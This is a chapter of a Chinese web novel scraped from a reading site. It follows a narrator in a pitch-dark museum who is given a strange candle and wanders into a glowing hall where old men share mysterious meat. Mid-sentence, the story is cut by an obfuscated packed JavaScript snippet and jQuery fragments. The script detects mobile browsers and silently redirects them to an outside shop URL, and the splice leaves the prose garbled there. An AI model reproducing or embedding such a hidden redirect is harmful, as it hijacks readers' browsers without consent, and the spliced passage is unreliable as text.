默认冷灰
24号文字
方正启体

2. 献给神的珍味

作者:却若本书字数:K更新时间:
    我有个优点,就是没什么好奇心。


    有时候好奇会带来一些机遇,所以我的运气向来不好。


    啪嗒,馆主关上门。


    博物馆内漆黑一片,只不时凭借玻璃窗外透进的蓝青色闪电勉强能照亮一点。我就像个瞎子,伸直手臂摸索着往前走,却又根本不知道该往哪里走。


    “停电了?”我问。


    难道宴会不需要任何光亮吗?


    一只冰冷的手抓住我的右手腕,没有半点征兆。浸骨的寒意如同一圈一圈在黑暗中化开的涟漪,以那只手为中心将我困在其中。


    心脏似过电般骤然收紧,刹那间,我双腿一软,跪下了。唯一还能感觉到的,唯有右手被那个抓我的东西往上提了一下。


    “不是在这里休息,跟我走。”说话的是馆主。


    顺着那只抓住我的手往上摸,柔软的衣服面料下是紧实的人类手臂,无比真实。我站起身小心问:“馆主是不是气虚?还容易盗汗?”


    阴女噗嗤一声笑了。在视觉起不到任何作用的漆黑中,她轻柔的声音居然也显得有几分瘆人。


    馆主没有回话,拉着我不知往哪里走。两道硬鞋底踩在木地板上的声音总是合不到同一个节奏上,我注意到了,试图说些什么有趣的话来缓解怪异的气氛。可无论我抛出多少话茬,馆主都不做回应,倒更显得是我不稳重。


    可能馆主是个机器人吧,我想。


    所以才假装瞎子将眼睛遮起来,毕竟假人的眼睛做得再好,也不可能与真的一样。


    原来如此。


    我清了清嗓,打趣问他:“你问市多久啦?”


    这句话很奇怪,如果是我,一定会接一句“问什么市”。


    可馆主没回答。我顿时失去了大部分兴趣,只能无奈解释:“就是问你年龄。”


    走在前面的馆主在停下来的同时松开手,转身面对我:“这里是你休息的地方,有沙发。你随时可以离开。只是,倘若离开时听见钟声,要闭上眼睛,千万不能偷看。在此期间无论听见什么,都别乱跑。”


    “你们这个博物馆真的从来都不开灯?”我弯腰试探着寻找沙发的位置。很快,手掌便触碰到木制的家具。


    “没有灯。”


    凭着窗外闪电的光,我确认沙发的位置后,坐上去,习惯性翘起二郎腿:“那蜡烛呢?蜡烛总有吧,这也太黑了。”


    “有是有。”馆主说完这句便沉默了,似乎在想着什么。


    他的语气中虽然依旧没有任何情绪,好似我这个人的存在不值得让他有情绪。


    可我不习惯这种黑暗,当然,除了睡觉的时候。


    怕他拒绝,我立刻竖起食指:“一根,我用来照个光。黑灯瞎火的不方便,万一我不小心撞坏了什么东西,你和我都难受。”


    我在等他点头答应。


    空气静默片刻,他才说:“可以给你用,但有个条件。不能对蜡烛许愿。”


    “不过生日我许什么愿。”我笑了一下,“除非有蛋糕。”


    “‘我想’、‘我要’、‘我希望’等,诸如此类的话都不能说。”


    “说了会怎样?”


    “愿望会以最残忍的方式实现。”


    不知道是不是他故意要吓唬我,但我依然立刻闭上嘴,过了会儿才说:“放心吧,我没有那种不能做什么就越要去做的毛病。”


    “我去拿。”


    “哎,对了。”我立刻喊住他又说,“麻烦你顺便再帮我拿点水和吃的,谢了,我快饿死了。”


    在我说完这句话后馆主才忽然停下脚步,说:“‘死’字说多了,真的会丢掉性命。”


    我及时闭了嘴,深吸口气用力点了一下头:“嗯!我记住了,我长命百岁还是个大富豪!”


    和许愿不同,这是一种吸引定律。


    几分钟后,馆主曾远去的脚步声又渐渐靠近,回荡在长长的走廊里越来越响亮。他双手端着一个大木盘走回来,食物、水与蜡烛全放在上面。摇曳的火光映于他胸前,正好是蛇头的位置。金丝绣成的蛇纹本应和衣服布料一样是死物,可光晕蒙蒙间,那两只蛇头上的眼睛竟是陡然收缩变成了竖瞳,齐齐直勾勾与我对视。


    奇怪的是我并未感到害怕。


    “什么蛇有两个脑袋?”


    馆主正弯腰将盘子放在沙发旁边的木茶几上,听见我这个问题,他并没有做出特别的反应,只是淡淡问:“什么猫有九条命?”


    我脑筋一转:“没死过的猫。”


    “如果水和食物不够……”他没有周到地将木盘里面的东西拿出来,只是放下了,“你只能忍一忍了。”


    诚然,他也没有义务要那么周到。


    我抓起盘子里的午餐肉罐头,愣了愣:“只有这个了吗?”


    “嗯,这里不储存食物。”


    “那你平时吃什么?”


    馆主再次沉默了,片刻后才道:“好好休息。”


    他离开了这个房间,剩我独自一人捧着午餐肉发愣。


    我完全不好奇他们的宴会上究竟有多少美食——好吧,我承认,还是有一点好奇的。我打开罐头,闻了闻,拿起勺子。午餐肉虽然是熟的,但我从来不直接吃,这样未免有点浪费食材了,必然要经过牛油火锅的洗礼,才能激发它最大的美味。


    显然目前的情况不容我太过矫情。


    整座博物馆静得如同不属于这个纷扰混沌的世界,有种难以言表的纯净,唯一将两者联系在一起的,是勺子碰到金属罐的杂音。


    如果说填满这个世界的是原始的欲望、是百种千样的痛苦、是如同氮气一般浓厚的迷茫,那这个地方,这个空间,一定不属于我所知道的世界,一定来自异界。


    此刻的我宛若无家可归的流浪汉,躲在月光照不进的黑暗桥洞下,可怜地吃着仅剩的食物,两眼呆滞。


    火光很快再次吸引我的目光。以常理,即使在门窗紧闭的屋子里,火苗仍会因为从各种缝隙间来回的气流而摇曳,它从不是静止的。可眼见烛台上的这一丝火苗却静止不动,无论是蜡烛本身还是烛台,都不见一丁点融化的蜡油痕迹。


    很像为了预防火灾而改良的电子蜡烛。


    我放下还剩一大半的午餐肉,向蜡烛上的火苗伸出手,试探着慢慢靠近,实实在在感到受到火焰的温度后才拿起蜡烛稍稍倾斜,尝试让蜡油滴在木盘上——在揭晓结果之前,请容我描述一下这支蜡烛的模样。


    或许是受到火光暖调的影响,目前我所看见蜡烛的颜色偏黄。其直径与我的小拇指相等,大约7公分,长度超过了15公分,整体比平时家里用的普通蜡烛大许多,并且没有任何气味。


    没有丝毫蜡的气味。


    在这支蜡烛身上,我看不到有什么特别之处,以至于需要馆主特意叮嘱。


    我将蜡烛放回它原本的位置,确认它不会在我松手后突然倒下,这才慢慢收回手。


    是的,我刚才尝试让蜡油滴在木盘上,结果失败了。烛火无法融化周围的蜡。


    我往后靠向木制沙发的背靠,手臂裸露的皮肤感受着木头的凉意,发了片刻的呆,随后猛然想起应该给家里打个电话报平安。我摸遍浑身上下,终于想了起来,手机还在车里。


    平时,我绝不会犯这样的错,今晚好像一切都和平常不一样。我懊恼地狠狠拍打自己的脑袋,纠结半刻后站起来,整理好可能弄乱的发型,再次拿起蜡烛朝外面走。


    没事的,只是去拿手机而已,并不是故意在博物馆里乱逛,不算作死。


    沿着来时的走廊往回走,蜡烛微弱的火光照不了太宽的范围,我不得不贴着墙壁慢慢往前。


    来的时候只是一味接受馆主的引导,即使窗外闪电偶尔照亮四周,我也无暇仔细观察环境。而现在,出于各种各样的原因,让我有闲暇四下打量。说是四下打量,其实也不过是凑近看了看墙壁与地面。


    虽然我平时不怎么逛博物馆,对建筑风格也没兴趣,但我还是知道,为了预防火灾破坏文物,用木板铺满墙壁和地面都不是明智之举。尤其是这座博物馆建在山上,遇上火灾的风险远比其他地方高。


    如我对这座博物馆的第一印象一般


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248775|197901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这里充满了违和感。


    不知走了多长时间,蜡烛上的火苗竟是抖动几下,它终于从沉睡中醒过来。


    外面的暴雨似乎停了,我听不见雨声,安静得像一切声音都被封禁在墙壁中。我只能听见自己的呼吸和心跳。


    泠嘤。


    远处隐隐传来悦耳的声响,空灵、干净。像是有人低声絮语,又像仙音缠绵清越。是弦乐声。我受此琴音指引,一步一步偏离原本该走的方向,不由自主循着耳中的音乐慢慢靠近。


    音乐逐渐变得清晰,混着老人呵呵的笑声。最后我站在一扇虚掩的木门前,透过泄露出光明的门缝,朝里窥探。


    我刚伸出脑袋,门便开了。


    如白昼般金日高悬的强光刹那间夺走我的视力。我抬起手挡在脸前闭眼缓和很久,才试探着微微睁开眼。


    房间……不,或许该称为大厅更贴切。鹅黄晨曦色的光充盈着大厅每个角落,即使是在物品放置之处也不见一寸阴影。


    这种景象非常奇怪。


    人所能看见的光,比如阳光、灯光,以及物体反射出的高光,全都只是“部分”,而更多的是物体在光照之下的反射。我眼前这种宛如光本身变成一件有实体的物品溢满某个空间的情况,比如丝绸、比如水流,实属不常见。我想,如果没有走进这间博物馆,我这辈子都不会看见这般圣景。


    而我此刻被大厅散发出来的奇妙光辉包裹着,好似置身于温暖的水中,身心都十分愉悦舒服。这种舒服与生物的欲望无关,非常纯粹浓烈,是我从不曾感受过的,让我不禁希望就此融化在光里,哪怕再没有一丝自我。


    我也,充满了违和感。


    “既然来了,便过来一起坐吧。”


    年老的声音传来,眨眼间我便来到大厅里——我不记得自己怎么进来的了。


    大厅中央、光辉尤盛之处,有个正方形的席台,上面有三位白发苍苍的老人围着一件貌似香炉的青铜器盘腿而坐。他们身后摆放着屏风,一扇上面是吹凑,一扇上面是起舞,一扇上面是吟唱。


    青铜器上冒着水汽,像是在烹饪什么东西。蛋白质的香味阵阵扑鼻而来,勾起我的口腹之欲。


    馆主和阴女都不在。


    “会不会不太好?”我口水长流,但还是保持着谨慎。


    “门已开,进退皆是不难。”


    “馆主……和阴女呢?”我鼓起勇气问。


    三位老人捻着白色胡须笑起来,表情带了一抹不可说的神秘。


    “那我坐一会儿。”我走上席台盘腿坐下,忘记是什么时候脱的鞋。


    “正好,差不多了。”


    老人话音落下,屏风前出现一名年轻男人,手里拿着细长的匕首。他走近青铜器,跪下来,用手中的细长匕首在里面划拉。随后又出现了三名年轻男人,手里各拿一副碗筷等在他身旁。拿匕首的男人回头,他们便递上前一只碗,盛好了,递碗的男人又接回来,送至一位老人的案桌上。


    我愣愣地看着他们给老人送上满满一碗粉色的肉,情不自禁咽了口水。


    有必要申明一点,我不是个贪吃的人。只怪那粉白色的肉闻上去实在过于鲜美,才让我也产生了一点人的欲望。


    “剩下的,都给这位小朋友。”一位老人指了指我。


    分肉的男人这才抬眸看过来,神情中稍稍有些惊讶:“可他是……”


    “无妨,来即是缘,这食物该有他的一份。”


    不得已,男人只好新添了一副碗筷,盛上青铜器中最后一点肉渣与汤汁,端给了我。


    “谢谢师兄。”我准备放下手里的蜡烛伸手接碗筷,才发现,不知什么时候它已经熄灭了。


    真是怪事。


    许是见我半晌没接,男人将碗筷放在我面前的案桌上——至于我面前几时出现的这只桌子,我已经丝毫不在意了。


    碗里飘来足以摄人心魄的香味,早已勾走我的心魂。我慢慢捧起碗,尝了口鲜美的汤汁,迫不及待夹起一筷子碎肉放入口中。


    不需要咀嚼太多,粉白的肉就在口腔里化开。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)